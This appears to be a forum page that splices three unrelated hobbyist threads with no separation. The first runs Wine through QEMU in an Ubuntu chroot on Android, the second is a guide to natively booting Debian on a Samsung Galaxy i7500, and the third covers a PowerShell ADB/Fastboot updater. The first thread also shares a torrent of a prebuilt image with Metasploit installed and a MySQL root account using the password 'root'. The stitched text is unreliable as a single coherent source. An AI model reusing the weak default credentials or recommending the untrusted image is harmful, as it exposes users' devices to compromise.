mount -t devpts devpts $mnt/dev/pts
I get a mount: I/O error
http://forum.xda-developers.com/showthread.php?t=1258506&page=5 UPDATED GUIDE PAGE 5
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
I got Android to run with wine and solitaire on CM7 and my droid. It was a total pain. But YAY.
Its hard to write a guide without being able to post links.
You need to first be able to chroot into ubuntu and create a vnc server. Then recompile the kernel for binfmt support.
Then create slackware 10.2 on vmware and install wine and qemu.. run wine and qemu. like wine notepad.exe so it creates /root/.wine. Create an image file out of that and copy that to your phones sdcard.
mount both of the ubuntu and slackware images.
mount -t binfmt_misc none /proc/sys/fs/binfmt_misc
echo ":qemu-i386:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x03\x00:\xff\xff\xff\xff\xff\xfe\xfe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfb\xff\xff\xff:/usr/bin/qemu-i386:" > /proc/sys/fs/binfmt_misc/register
then run vncserver
export DISPLAY=0:1
my ubuntu is / in a chrooted enviroment from /data/local/ubuntu
my slackware.img is mounted /chroot (if inside chroot) or /data/local/ubuntu/chroot (if not inside chroot)
I copied /chroot/usr/gnemul/qemu-i386/* to /usr/gnemul/qemu-i386
COPY THE X86 stuff inthe the /usr/gnemul/qemu-i386/lib and usr folders. qemu will look for these x86 libraries when the x86 binaries ask for them. IMPORTANT.
copy /chroot/usr/lib/wine to /usr/lib/wine
copy the /chroot/root/.wine to /root/.wine the best you can and setup dosdevices with ln -s
put sol.exe in /root/.wine/dosdevices/c:/windows
then it should work =)
/chroot/usr/bin/wine-pthread sol.exe
I can put all this in a torrent if anyone is interested. I need to add I got qemu-i386 that was already compiled and stuck it in /usr/bin and /chroot/usr/bin though I decided not to try to chroot into my x86 image.
which would be like chroot /chroot
I might be able to not use /chroot and just copy install the x86 version of wine.deb on arm and force the architecture and let binfmt take care of the ELF.
Here is a torrent that has the ubuntu.img and all the other files.
------------------------
http://thepiratebay.org/torrent/6670616
terminal
cd /sdcard/ubuntu
sh ubuntu.sh
bootubuntu
that will get you into ubuntu.. if your kernel does not support binfmt then:
startui (starts vncserver)
/usr/bin/qemu-i386 /usr/bin/wineserver
/usr/bin/qemu-i386 /usr/bin/wine-pthread sol.exe
If it does then
startui
wine-pthread sol.exe
This sounds awesome, I gotta try it out.
I will help as much as I can. I cant post links. Soon as I can I will be a much bigger help. But I am SOOOO HAPPPY! I think we might be able to get this working without recompiling the kernel too. I will try that.
'Running native i386 linux binaries' is one thread in a forum I have been following. First you need ubuntu on android so google 'how to install ubuntu on android' which you will need a kernel that supports loop.
You can check how your kernel's .config by doing.
zcat /proc/config.gz > /sdcard/.config
I had to recompile for loop and binfmt for my droid 1 and cyanogenmod7.
I imagine this runs applications that depend on wine slower than an old vw diesel beetle trying to get on the freeway?
yareally said:
I imagine this runs applications that depend on wine slower than an old vw diesel beetle trying to get on the freeway?
Click to expand...
Click to collapse
No kidding. I bet an Overclocked dual core wouldn't be horrible though if you were running something minor.
I am going to do it on my touchpad next.. as soon as it gets android.
h&&p://img714.imageshack.us/img714/5307/yaye.jpg
Here is my bootubuntu
#modprobe ext2
mount -o remount,rw -t yaffs2 /dev/block/mtdblock3 /system
export kit=/sdcard/ubuntu
export bin=/system/bin
if [ ! -d /data/local/ubuntu ]
then
mkdir /data/local/ubuntu
mkdir /data/local/ubuntu/sdcard
fi
export mnt=/data/local/ubuntu
export PATH=$bin:/usr/bin:/usr/sbin:/bin:$PATH
export TERM=linux
export HOME=/root
mknod /dev/loop1 b 7 0
losetup /dev/block/loop1 /sdcard/ubuntu/ubuntu.img
mount -t ext2 /dev/block/loop1 /data/local/ubuntu
#mount -o loop,noatime -t ext2 $kit/ubuntu.img $mnt
mount -t devpts devpts $mnt/dev/pts
mount -t proc proc $mnt/proc
mount -t sysfs sysfs $mnt/sys
mount /mnt/sdcard /data/local/ubuntu/sdcard
sysctl -w net.ipv4.ip_forward=1
echo "Setting /etc/resolv.conf to Google Open DNS 8.8.8.8 and 8.8.4.4"
echo "nameserver 8.8.8.8" > $mnt/etc/resolv.conf
echo "nameserver 8.8.4.4" >> $mnt/etc/resolv.conf
echo "Setting localhost on /etc/hosts "
echo "127.0.0.1 localhost" > $mnt/etc/hosts
echo "READY TO ROCK AND ROLL BABY! "
echo "Brought to you by NexusOneHacks.net and the open source community! "
echo " "
mount -t binfmt_misc none /proc/sys/fs/binfmt_misc
echo ":qemu-i386:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x03\x00:\xff\xff\xff\xff\xff\xfe\xfe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfb\xff\xff\xff:/usr/bin/qemu-i386:" > /proc/sys/fs/binfmt_misc/register (WATCH OUT FOR THIS, WHEN POSTING TO FORUMS IT CREATES SPACES.. REMOVE THE SPACES!)
export DISPLAY=0:1
chroot $mnt /bin/bash
#After exit command is executed clear it all up
echo " "
echo "Shutting down Ubuntu"
umount $mnt/dev/pts
umount $mnt/proc
umount $mnt/sys
umount $mnt
losetup -d /dev/block/loop2
losetup -d /dev/block/loop1
I understand doing all this for the sake of doing it as a fellow hacker (and I congratulate you on making it work), but I still would like to know (from the OP that posted this), how well is it running on your device. It's one thing to show it's possible, but I personally wouldn't go through and do it without knowing how slow it's going to (predictably) run.
Could you please shed some light on the performance (or lack thereof) you have experienced so far?
yareally said:
I understand doing all this for the sake of doing it as a fellow hacker (and I congratulate you on making it work), but I still would like to know (from the OP that posted this), how well is it running on your device. It's one thing to show it's possible, but I personally wouldn't go through and do it without knowing how slow it's going to (predictably) run.
Could you please shed some light on the performance (or lack thereof) you have experienced so far?
Click to expand...
Click to collapse
Its okay.. I have my phone at 500Mhz (not overclocked). all I have ran so far is solitaire.. and I am about to turn on swap. But it takes a bit to load. Its slow too load, once its loaded its fast.
Its for fun.
Okay you do need binfmt_misc in the kernel. NOT TRUE
I have everything down to ubuntu.img.. no slackware.img is needed.
I need to rewrite the guide to make it easier, and maybe post my ubuntu.img for some folks.
Thanks for your reply. I've thought about doing it before, but I ruled it out because I thought it would be too slow, but your results seem like it's promising enough to try out at least for fun
Thanks!
I think it will let you fake post links if you exclude the "http://" part of it if you need to do so.
yareally said:
Thanks for your reply. I've thought about doing it before, but I ruled it out because I thought it would be too slow, but your results seem like it's promising enough to try out at least for fun
Thanks!
Click to expand...
Click to collapse
Dont play counterstrike on it! =) I also have apache, and mysql-server and metasploit working.. on my ubuntu.img
Could i play with this Age of Empires 1 on my Galaxy I9000 overclocked to 1.4ghz on a reasonable speed?
thewolf16 said:
Could i play with this Age of Empires 1 on my Galaxy I9000 overclocked to 1.4ghz on a reasonable speed?
Click to expand...
Click to collapse
I don't think it's possible to know unless you try it
binfmt_misc is not required in the kernel. You have to run wineserver first, make sure its running in memory with ps.. Then you can run wine-pthread.
Here is a torrent that has the ubuntu.img and all the other files.
http://thepiratebay.org/torrent/6670616
terminal
cd /sdcard/ubuntu
sh ubuntu.sh
bootubuntu
that will get you into ubuntu.. if your kernel does not support binfmt then:
startui (starts vncserver)
/usr/bin/qemu-i386 /usr/bin/wineserver
/usr/bin/qemu-i386 /usr/bin/wine-pthread sol.exe
If it does then
startui
wine-pthread sol.exe
Congratulations! I would give anything to have the ability to just attempt something like this.
OffcerClancy said:
Congratulations! I would give anything to have the ability to just attempt something like this.
Click to expand...
Click to collapse
Thanks! you guys let me know if the torrent isnt seeding... Eventually I want to upload it somewhere...
Oh yah, if you do.
service mysql start
/opt/msf3/msfconsole
it works but I wouldnt use it for automatic exploit.. its sluggish.
mysql password is root, for user root.
Hello fellow phone enthusiasts,
there are some sources on the internet describing how to run Debian on the Samsung Galaxy i7500 (Samsung's first Android device). Unfortunately, none of these sources can act as a complete guide, so I thought I could try to fill this void. This guide is far from complete and will hopefully grow over time. Anyway, I hope this is helpful for some people that are trying to do the same.
Note that this post should have gone into the development section, but I'm not senior enough to post there. Also the URLs in this guide are messed up for the same reason. Each messed up URL is marked with "(FIX this url)". I will fix these things as soon as possible, if there is any interest in this guide.
Best regards,
Frank
0. WARNING
This guide is for experienced users only. You might brick your phone while following this guide. I will not take responsibilty for any harm that may happen to you, your phone or those around you when following this guide. Please read and understand the complete guide before doing the first step. You have been warned.
Make a nandroid backup (can be done in the recovery image). Really, do it. Even if you think there's no valuable data, you must do a nandroid backub, because you will need to have the boot.img to boot back into android after debian has been installed. You must also copy your nandroid backup onto your PC.
1. Credits
A few years ago, there has been quite an active development community for the Galaxy i7500. Unfortunately, these forums have now pretty much died and I was not an active member of that community, because I was using it as my primary device back then and had no interest in hacking it.
Anyway, a HUGE THANK YOU goes to the fine fellas from drakaz.com and the GAOSP. You guys are awesome!
The actual hard technical work for this guide has been done by the authors of the following guides. I'm simply trying to understand what they did and write a step-by-step guide using their expertise:
(FIX this url)https :// code . google . com/p/linux-on-android/wiki/BasicSteps
(FIX this url)https :// wiki . debian . org/ChrootOnAndroid
(FIX this url)http :// www . bananenfisch . net/?p=1056
(FIX this url)https :// sven . killig . de/android/console.html
2. Overview
The goal of this guide is to have a running Debian Squeeze (Debian 6) running natively on a Samsung Galaxy i7500. Debian will not be run in a chroot environment on top of android, but instead the phone will directly boot into debian when powering it on. Debian will be installed on a SD card, so that we could still boot into Android, should we really mess things up at some point. It will not be true dual boot though (i.e. you have to reflash the boot section from a PC to boot into Android).
2.1 Primary goals
In the end, I'd like have the following functionality:
WLAN
Bluetooth
X Window / Graphical User Interface
All this is possible with below description now.
But this means we will loose the ability to make phone calls, send text messages, use GPS, connect to the internet through 3G or anything else you would normally expect from a smartphone. It's very likely possible to also have this functionality included, but I simply don't need it for my project. If someone else is willing to investigate this, I would be interested in the results though.
2.2 Prerequisites
Things you'll need include:
good Linux knowlegde
1 rooted Samsung Galaxy i7500 (I recommend to flash GAOSP)
1 micro SD card (I'm using an 8 GiB class 4 card)
1 computer running Linux with the following software installed (I'm using Debian & Fedora, but any distribution that has debootstrap should work)
debootstrap
git
fastboot (I suggest to use the version that comes with your distro, but you can also try the one from the Android SDK)
GCC cross-compiler for ARM in order to compile the kernel (Debian and Fedora come with compiler versions, that didn't work for me, so I'm using version 7 of the Android NDK, i. e. GCC version 4.4.3)
3. Installing Debian
Note that I had already GAOSP2 beta 3 installed on the i7500. I don't know if any of these steps are possible without installing GAOSP first.
3.1 Prepare partitions on SD card
The Samsung Galaxy i7500 has an "internal SD card" which will be preserved for use with Android, the recovery image, a.s.o. The external SD card will be used for debian. ALL data on the external card will be lost after below steps.
Put the SD card into an SD card reader or boot the i7500 into recovery mode (press "vol-" and "call" buttons when switching on the phone). Note that using GAOSP directly didn't work for me, because for some reason only the first partition was shown on the PC.
Code:
cfdisk /dev/sdX
(replace X with the correct letter for your SD card, and then create the one big enough partition for your needs, I created one 4GiB primary partition leaving me 4GiB for playing around later)
Code:
sudo mke2fs /dev/sdX1
3.2 Build debian filesystem structure
Create a directory for the newly created debian partition (I assume it' s called "debian") and run the following commands
Code:
sudo mount /dev/sdX1 ./debian/
Code:
sudo debootstrap --verbose --arch armel --foreign squeeze ./debian/ (FIX this url) http :// ftp . de . debian . org/debian
Code:
sudo umount ./debian/
3.3 Finalize the debian installation
The following is based on the steps as described here (FIX this url) wiki. debian.org/ChrootOnAndroid and www . bananenfisch .net/?p=1056.
Boot phone into GAOSP
Open terminal
Code:
su
Code:
cd /data/local
Code:
mkdir debian
Code:
mount /dev/block/mmcblk1p1 /data/local/debian
Finalize bootstrap:
Code:
chroot /data/local/debian /debootstrap/debootstrap --second-stage
Mount special file systems and chroot into Debian:
Code:
for f in dev dev/pts proc sys ; do mount -o bind /$f /data/local/debian /$f ; done
Code:
chroot /data/local/debian /bin/bash
Finalise the installation:
Code:
echo "deb (FIX this url) http :// ftp . de . debian . org/debian/ squeeze main non-free contrib" > /etc/apt/sources.list
Code:
apt-get update
Code:
rm -f /etc/mtab
Code:
ln -s /proc/mounts /etc/mtab
Code:
passwd root
Code:
echo i7500 > /etc/hostname
Code:
apt-get install openssh-server
Code:
apt-get clean && apt-get autoclean
The ssh-sever can be started whenever you like through
Code:
/etc/init.d/ssh start
Afterwards you can log in from your PC using "ssh [email protected]" into the chroot environment.
3.4 Configure locale
We need to set the locale for the system (otherwise there will always be warning messages, e.g. when installing new software):
Code:
apt-get install locales console-data keyboard-configuration
You might want to tweak a few more settings (especially if your locale is not en_US). You can use:
Code:
echo export LANG=en_US.UTF-8 >> /root/.bashrc
Code:
export LC_ALL="en_US.utf8"
Code:
dpkg-reconfigure locales
Code:
dpkg-reconfigure console-data
Code:
dpkg-reconfigure keyboard-configuration
3.5 Installing additional software
You can now start installing additional software that you might need (I suggest you log into your phone through ssh as described above). You'll be needing an editor to edit configuration files (I choose vim). For setting up WiFi the package "wpasupplicant" is needed.
Code:
apt-get install vim less wpasupplicant
3.6 Chroot into debian
If you at a later time want to chroot into your debian environment, I recommend to store the following commands in a shell script (I stored it in /data/local/debian.sh) which you can then run as root.
Code:
#!/bin/sh
mount /dev/block/mmcblk1p1 /data/local/debian
for f in dev dev/pts proc sys ; do mount -o bind /$f /data/local/debian/$f ; done
chroot /data/local/debian /bin/bash
4. Create boot image
4.1 Build kernel
Perform the following steps on your PC:
Download the Galaxo kernel sources: git clone (FIX this url) https :// github . com/drakaz/GalaxoKernel.git
Apply the patch described on (FIX this url) https :// code . google . com/p/linux-on-android/wiki/BasicSteps (themddi_toshiba_smd.c patch doesn't work, do the change manually)
Apply patch as described here: (FIX this url) http :// sven . killig . de/android/console.html
copy attached config.txt file to .config
I will eventually create a branch on github containing the patches and default config. But for now, you'll have to do the patching yourself.
Code:
make ARCH=arm CROSS_COMPILE=/path/to/android-ndk-r7/toolchains/arm-linux-androideabi-4.4.3/prebuilt/linux-x86/bin/arm-linux-androideabi- oldconfig
Code:
make ARCH=arm CROSS_COMPILE=/path/to/android-ndk-r7/toolchains/arm-linux-androideabi-4.4.3/prebuilt/linux-x86/bin/arm-linux-androideabi-
Code:
make ARCH=arm CROSS_COMPILE=/path/to/android/android-ndk-r7/toolchains/arm-linux-androideabi-4.4.3/prebuilt/linux-x86/bin/arm-linux-androideabi- modules
4.2 Install modules
The modules need to be installed on the SD card partition, so you need to boot your phone into recovery and mount the SD card. Then execute the following command.
Code:
sudo make ARCH=arm CROSS_COMPILE=/path/to/android-ndk-r7/toolchains/arm-linux-androideabi-4.4.3/prebuilt/linux-x86/bin/arm-linux-androideabi- INSTALL_MOD_PATH=/path/to/sdcard modules_install
In order for the WLAN kernel module to work the following files need to be copied from the GAOSP ROM to the /etc/ folder on the phone:
rtecdc.bin
nvram.txt
4.3 Minimal boot file system
A boot file system (a.k.a. initramfs) is needed to start the debian boot process. Create a folder called minimal_initramfs with the follwoing content:
Code:
minimal_initramfs/
|-- dev/
|-- init*
|-- mnt/
| `-- root/
|-- proc/
|-- sbin/
| `-- busybox*
`-- sys/
A binary of busybox can be downloaded from the busybox website (use busybox-armv4tl). The file "init" is actually a shell script with the following content:
Code:
#!/sbin/busybox sh
# initramfs pre-boot init script
# Something (what?) needs a few cycles here
/sbin/busybox sleep 1
# Populate /dev
/sbin/busybox mknod /dev/mmcblk1p1 b 179 9
# Mount the root filesystem, second partition on micro SDcard
/sbin/busybox mount -t ext2 -o noatime,nodiratime /dev/mmcblk1p1 /mnt/root
# Transfer root to SDcard
exec /sbin/busybox switch_root /mnt/root /sbin/init
The directory structure must then be compressed. To do this run the following sequence of commands when in the minimal_initramfs directory:
Code:
find . | cpio --quiet -H newc -o | gzip > ../minimal.cpio.gz
4.4 Creating the image
For creating the image you need the tool mkbootimg which you can find in android_bootimg_tools.tar.gz. Run the following command to create the boot image from the initramfs and the kernel you created above:
Code:
./mkbootimg --kernel /path/to/Galaxo-kernel/arch/arm/boot/zImage --ramdisk /path/to/minimal.cpio.gz --cmdline "fbcon=font:VGA8x8" --pagesize 2048 --base 10000000 -o debian_boot.img
5. Configuring network
5.1 Setting up the interface
Your /etc/network/interfaces file on the phone should look like this:
Code:
# Used by ifup(8) and ifdown(8). See the interfaces(5) manpage or
# /usr/share/doc/ifupdown/examples for more information.
auto lo
iface lo inet loopback
auto eth0
allow-hotplug eth0
iface eth0 inet dhcp
wpa-driver wext
wpa-conf /etc/wpa_supplicant.conf
5.2 Setting up wireless encryption
For network configuration we'll be using wpa_supplicant which we already installed in one of the above steps. On the phone create the file /etc/wpa_supplicant.conf with the following content. Please enter the correct values for ssid, psk and key_mgmt for your network:
Code:
network={
ssid="YourSSID"
psk="YourSecretPassword"
key_mgmt=WPA-PSK
priority=11
}
5.3 Loading drivers
In order for the WLAN kernel module to be loaded add the following line to /etc/modules:
Code:
bcm4325 firmware_path=/etc/rtecdc.bin nvram_path=/etc/nvram.txt
6. Flashing the boot image and booting into Debian
Now it's finally time to finally flash the previously created boot image. At this time, be sure that you only have your Galaxy connected to your PC. Otherwise you might brick any other connected phone. On the PC run
Code:
sudo fastboot flash boot debian_boot.img
Then boot the Galaxy into fastboot mode by pressing "call" when powering on the phone.
When the process is finished the phone will boot into Debian and automatically connect to your wireless network (if the set-up was correct). You can now connect to the phone through ssh and enjoy your new pocket server.
If you may ever want to boot into android again, you just need to flash the original boot.img that you created with nandroid:
Code:
sudo fastboot flash boot boot.img
7. Bluetooth
7.1 Compile brcm_patchram_plus
For getting bluetooth operational it is necessary to use Broadcom's brcm_patchram_plus software. As it is not available as a Debian Squeeze package, we need to compile it ourselves. So we need to install the following packages on the phone:
Code:
apt-get install git gcc make libbluetooth-dev
Then it's possible to download the sources:
Code:
git clone (FIX this url)https :// github . com / MarkMendelsohn / brcm_patchram.git
And compile the tool using:
Code:
make
7.2 Activating bluetooth
In order for bluetooth to work the following files need to be copied from the GAOSP ROM to the same folder on the phone that you compiled the brcm_patchram_plus in:
BCM4325D1_004.002.004.0153.0156.hcd
After that it's possible to execute the followig commands:
Code:
echo 0 > /sys/class/rfkill/rfkill0/state
echo 1 > /sys/class/rfkill/rfkill0/state
./brcm_patchram_plus -d --enable_hci --baudrate 3000000 --use_baudrate_for_download --patchram BCM4325D1_004.002.004.0153.0156.hcd /dev/ttyHS0
The last command will never terminate and you will get a lot of output due to the (-d) switch. After starting a new console, you will be able to scan for bluetooth devices using:
Code:
hcitool -i hci0 scan
7.3 Connecting a keyboard
I'm using a Rapoo E6100 keyboard and the following procedure worked fine for me. It should be similar with other keyboards.
Code:
apt-get install python-bluez python-gobject python-dbus bluez-compat
Code:
cd /usr/share/doc/bluez/examples
Press pairing button on keyboard then
Code:
./simple-agent hci0 6C:xx:xx:xx:xx:xx
(use the bluetooth address of your keyboard, according to the scan in the previous chapter)
The script will ask for a PIN. I entered 0000 on both the keyboard and phone and the keyboard was registered.
Code:
./test-device trusted 6C:xx:xx:xx:xx:xx yes
(again use the bluetooth address of your keyboard)
Code:
hidd --connect 6C:xx:xx:xx:xx:xx
Now you should be good to use your keyboard.
7.4 Automate patchram
Right now, the KB is not automatically connected on boot, because the patchram command from above needs to be executed on every boot. Hence the following commands should be added to /etc/rc.local (before the exit 0):
Code:
#Activate bluetooth
echo 0 > /sys/class/rfkill/rfkill0/state
echo 1 > /sys/class/rfkill/rfkill0/state
/path/to/brcm_patchram_plus --enable_hci --baudrate 3000000 --use_baudrate_for_download --patchram /path/to/BCM4325D1_004.002.004.0153.0156.hcd /dev/ttyHS0 &
8. Setting the clock
I was having trouble with my clock forgetting the day and time after each reboot. It was a flaw in my kernel config. In the current version of attached config file this is fixed. Anyway, I'm also running NTP to have the clock more accurate.
Code:
apt-get install ntpdate
NTP already come nicely pre-configured (thanks, Debian maintainers!). After that the timezone can be selected using
Code:
dpkg-reconfigure tzdata
9. GUI (X.org)
X.org works almost out-of-the-box since we already pathed the kernel as described in chapter 4 above. Based on the description from (FIX this url)https :// code . google . com/p/linux-on-android/wiki/BasicSteps only two minor changes have been made:
The framebuffer device is at /dev/fb0 instead of /dev/graphcics/fb0
I use evdev instead of tslib, because it provided better results for me (thanks to pabs from #debian-mobile for pointing me there)
9.1 Install X.org
All we need to do is download the software
Code:
apt-get install xorg xserver-xorg-video-fbdev xserver-xorg-input-evdev
9.2 Configuring X.org
Now create /etc/X11/xorg.conf:
Code:
Section "InputDevice"
Identifier "Touchscreen"
Driver "evdev"
Option "Device" "/dev/input/event2"
EndSection
Section "Device"
Identifier "Configured Video Device"
Driver "fbdev"
Option "fbdev" "/dev/fb0"
EndSection
Section "Monitor"
Identifier "Configured Monitor"
Option "DPMS" "false"
EndSection
Section "Screen"
Identifier "Default Screen"
Monitor "Configured Monitor"
Device "Configured Video Device"
EndSection
Section "ServerLayout"
Identifier "Default"
Screen "Default Screen"
InputDevice "Touchscreen" "CorePointer"
EndSection
Section "ServerFlags"
Option "DefaultServerLayout" "Default"
EndSection
9.3 Testing X.org
For testing X.org I've installed icewm and created the following /root/.xsession
Code:
#!/bin/sh
xterm&
exec icewm
Then just type in startx from the console and you have X. Of course you will have to change this to whatever you need or maybe even make X start on boot.
9.4 Boot into Browser
For my target system I want the phone to directly boot into a browser. This can easily be achieved by using the nodm package:
Code:
apt-get install nodm
and midori as browser:
Code:
apt-get install midori
We'll also need a user account. I called my user "default". But naturally you can of course choose whatever you like.
Code:
adduser default
Then nodm has to be configured in /etc/default/nodm:
Code:
# nodm configuration
# Set NODM_ENABLED to something different than 'false' to enable nodm
NODM_ENABLED=true
# User to autologin for
NODM_USER=default
# xinit program
NODM_XINIT=/usr/bin/xinit
# First vt to try when looking for free VTs
NODM_FIRST_VT=7
# X session
NODM_XSESSION=/etc/X11/Xsession
# Options for the X server
NODM_X_OPTIONS='vt7 -nolisten tcp'
# If an X session will run for less than this time in seconds, nodm will wait an
# increasing bit of time before restarting the session.
NODM_MIN_SESSION_TIME=60
And we have to create ~/.xsession for our user:
Code:
#!/bin/bash
midori -e Fullscreen &
exec icewm
A few tweaks in the icewm config (~/.icewm/preferences) will make the window manager look more nicely:
Code:
WorkspaceNames=" 1 "
TaskBarShowCPUStatus=0
TaskBarDoubleHeight=0
TaskBarShowWorkspaces=0
TaskBarShowMailboxStatus=0
TaskBarShowNetStatus=0
TimeFormat="%H:%M"
TaskBarShowWindowListMenu=1
TaskBarShowShowDesktopButton=0
10. Power management
The kernel is already configured with many different frequency govenors. Also the default govenor is set to "ondemand" but for some reason the when looking at /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor it's using the "performance" govenor. This can be solved by simply installing cpufreq-utils:
Code:
apt-get install cpufrequtils
The default settings are already using "ondemand", which seems to be a good choice. Anyway, further optimisations can be done in /etc/default/cpufrequtils if needed.
The phone still gets a little too warm for my taste (I think warmer than in android). Maybe there's something that could fix this, but I'm not an expert.
11. Known shortcomings
The whole set-up is in a really, REALLY early alpha stage
If any of the hardware buttons is touched in text mode the phone crashes (does not happen when in X.org)
The screen will time-out after some time, I have no idea how to wake it up again
Did I mention this is in an alpha stage?
12. Future improvements
Switching to a newer kernel version: The latest version of GAOSP runs on kernel version 2.6.35, while this guide is using 2.6.27. I have experimented with 2.6.29, but I had trouble getting a working frame buffer.
Switching to the latest version of debian (wheezy).
History
History:
2013-12-27:
Initial version
2013-12-30:
Minimized the the init script by removing mounts for /dev, /proc, and /sys. These are not necessary and mounting /dev prevents Debian's udev from working correctly.
2014-01-19:
Added description for bluetooth.
2014-01-25:
Added description for graphical user interface (X.org).
2014-01-25:
Boot into X/Browser and power management
2014-01-26:
Updated clock settings
Video proof
Hi all,
to get a better understanding what this is all about please watch the attached video. Please excuse the poor quality and the fingerprints on the screen.
As you can see the framebuffer output has a few quirks, but hopefully this will work out as soon as X is working.
BR,
Frank
All goals achieved
Okay, I think I now have achieved all goals. I can connect to WiFi and bluetooth. And there is a graphical user interface. Now the tweaking can start (first thing that comes to mind is powersaving). I really created this guide for myself, but I'd be happy to know if anyone else has interest in this topic.
Nice, I am interested. One question!
frank47 said:
Okay, I think I now have achieved all goals. I can connect to WiFi and bluetooth. And there is a graphical user interface. Now the tweaking can start (first thing that comes to mind is powersaving). I really created this guide for myself, but I'd be happy to know if anyone else has interest in this topic.
Click to expand...
Click to collapse
Nice, I am interested. One question!
I would like to use this device to get some data from the sensors. I have tested some apps in Android GAOSP to read the sensors in the i7500, but instead of using android apps, it could be very interesting to have a debian.
Have you tried to do it? Do you think it is possible? Is it too tricky to get a stable debian running an app to send sensors' data to another debian? I could help if you see it is interesting.
What is your opinion? Thank you...
Hi PabloGN,
there are a lot of entries in /proc and /sys. I think it's likely to be possible te access the sensors. For now, I have only looked at the battery status. Don't know if you'd consider that a sensor. Anyway, you would probably have to re-write your software to use those devices instead of using already existing Java libs for android. Hard to tell,*if it's worth the effort.
BR,
Frank
PabloGN said:
I would like to use this device to get some data from the sensors.
Click to expand...
Click to collapse
This is the list of input devices on my the i7500:
Code:
[email protected]:~# cat /proc/bus/input/devices
I: Bus=0000 Vendor=0000 Product=0000 Version=0000
N: Name="I7500_headset"
P: Phys=
S: Sysfs=/devices/virtual/input/input0
U: Uniq=
H: Handlers=kbd event0
B: EV=3
B: KEY=4 0 0 0 0 0 0 0
I: Bus=0000 Vendor=0000 Product=0000 Version=0000
N: Name="I7500_keypad"
P: Phys=
S: Sysfs=/devices/virtual/input/input1
U: Uniq=
H: Handlers=kbd event1
B: EV=3
B: KEY=800180 100000 0 41000800 1c1ec0 0 0 0
I: Bus=0000 Vendor=0000 Product=0000 Version=0033
N: Name="melfas-tsi-touchscreen"
P: Phys=
S: Sysfs=/devices/virtual/input/input2
U: Uniq=
H: Handlers=event2
B: EV=b
B: KEY=400 0 0 0 0 0 0 0 0 0 0
B: ABS=11000003
I: Bus=0000 Vendor=0000 Product=0000 Version=0000
N: Name="compass"
P: Phys=
S: Sysfs=/devices/virtual/input/input3
U: Uniq=
H: Handlers=event3
B: EV=9
B: ABS=20305ff
I: Bus=0000 Vendor=0000 Product=0000 Version=0000
N: Name="proximity_i2c"
P: Phys=
S: Sysfs=/devices/virtual/input/input4
U: Uniq=
H: Handlers=event4
B: EV=1
So, it should at least be possible to read the compass and proximity sensor data form /dev/input/event3 and /dev/input/event4. Maybe there's more and I just haven't compiled it into the kernel or it's accessed in some other way. Sorry, the sensors are not part of my use case so far.
I'm only using /dev/input/event2 (touchscreen) in my xorg.conf as an input device. Works like a charm.
Good luck with your endeavour. If you want me to test something or send you the output of some command, just ask here or by PM.
Hi folks,
I've created a PowerShell script which will install or update Android Platform Tools to the latest version. It will also add the install path to Windows Environment Variables, which will make you able to type "adb" or "fastboot" in CMD from anywhere in Windows.
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
ADB and Fastboot from anywhere.
Warning / Disclaimer
If this script does any harm or damage, I'm not responsible.
This project is very much a hobby project.
No guarantees are made.
You are responsible for what you do to your system.
License
I chose MIT license. You are free to use and reuse this code, but please point to the source (me) if you redestribute it.
Features
Installs latest Android Platform Tools (ADB & Fastboot).
Updates currently installed Android Platform Tools if newer version is available.
Adds Install Path to Windows Environment Variables, System Wide or Current User (controllable by boolean).
Issues of Feature Request
Please comment in the thread if you find any issues or have feature requests.
I won't guarantee fixes or new features implemented in any timely manner.
Usage
Download script from GitHub.
View as RAW.
Copy everything over to PowerShell ISE, Notepad++ or similar.
Save as "AndroidPlatformToolsUpdater.ps1".
Edit settings to your liking.
Run script as administrator.
Download
https://github.com/o-l-a-v/PowerShell-Projects/blob/master/AndroidPlatformToolsUpdater
Reserved for Changelogs
Thanks looks promising will try it out this evening
Thank you o-1-a-v!
First run I got:
Code:
Installed version is up to date (v0.0.0.0).
Add-AndroidPlatformToolsToEnvironmentVariables : Cannot validate argument on parameter 'PathDirAndroidPlatformTools'. The "[bool]$(Test-Path -Path
$_ -ErrorAction 'SilentlyContinue')" validation script for the argument with value "C:\Program Files (x86)\Android Platform Tools" did not return
a result of True. Determine why the validation script failed, and then try the command again.
At C:\Users\Xxx\Documents\AndroidPlatformToolsUpdater.ps1:335 char:104
+ ... les -PathDirAndroidPlatformTools $PathDirAndroidPlatformTools -System ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidData: (:) [Add-AndroidPlat...onmentVariables], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ParameterArgumentValidationError,Add-AndroidPlatformToolsToEnvironmentVariables
I created the "Android Platform Tools" dir, and then got:
Code:
Installed version is up to date (v0.0.0.0).
Checking and eventually adding Android Platform Tools to Current User Environment Variables. Success? True.
Running Windows 10.
andacro said:
Thank you o-1-a-v!
First run I got:
Code:
Installed version is up to date (v0.0.0.0).
Add-AndroidPlatformToolsToEnvironmentVariables : Cannot validate argument on parameter 'PathDirAndroidPlatformTools'. The "[bool]$(Test-Path -Path
$_ -ErrorAction 'SilentlyContinue')" validation script for the argument with value "C:\Program Files (x86)\Android Platform Tools" did not return
a result of True. Determine why the validation script failed, and then try the command again.
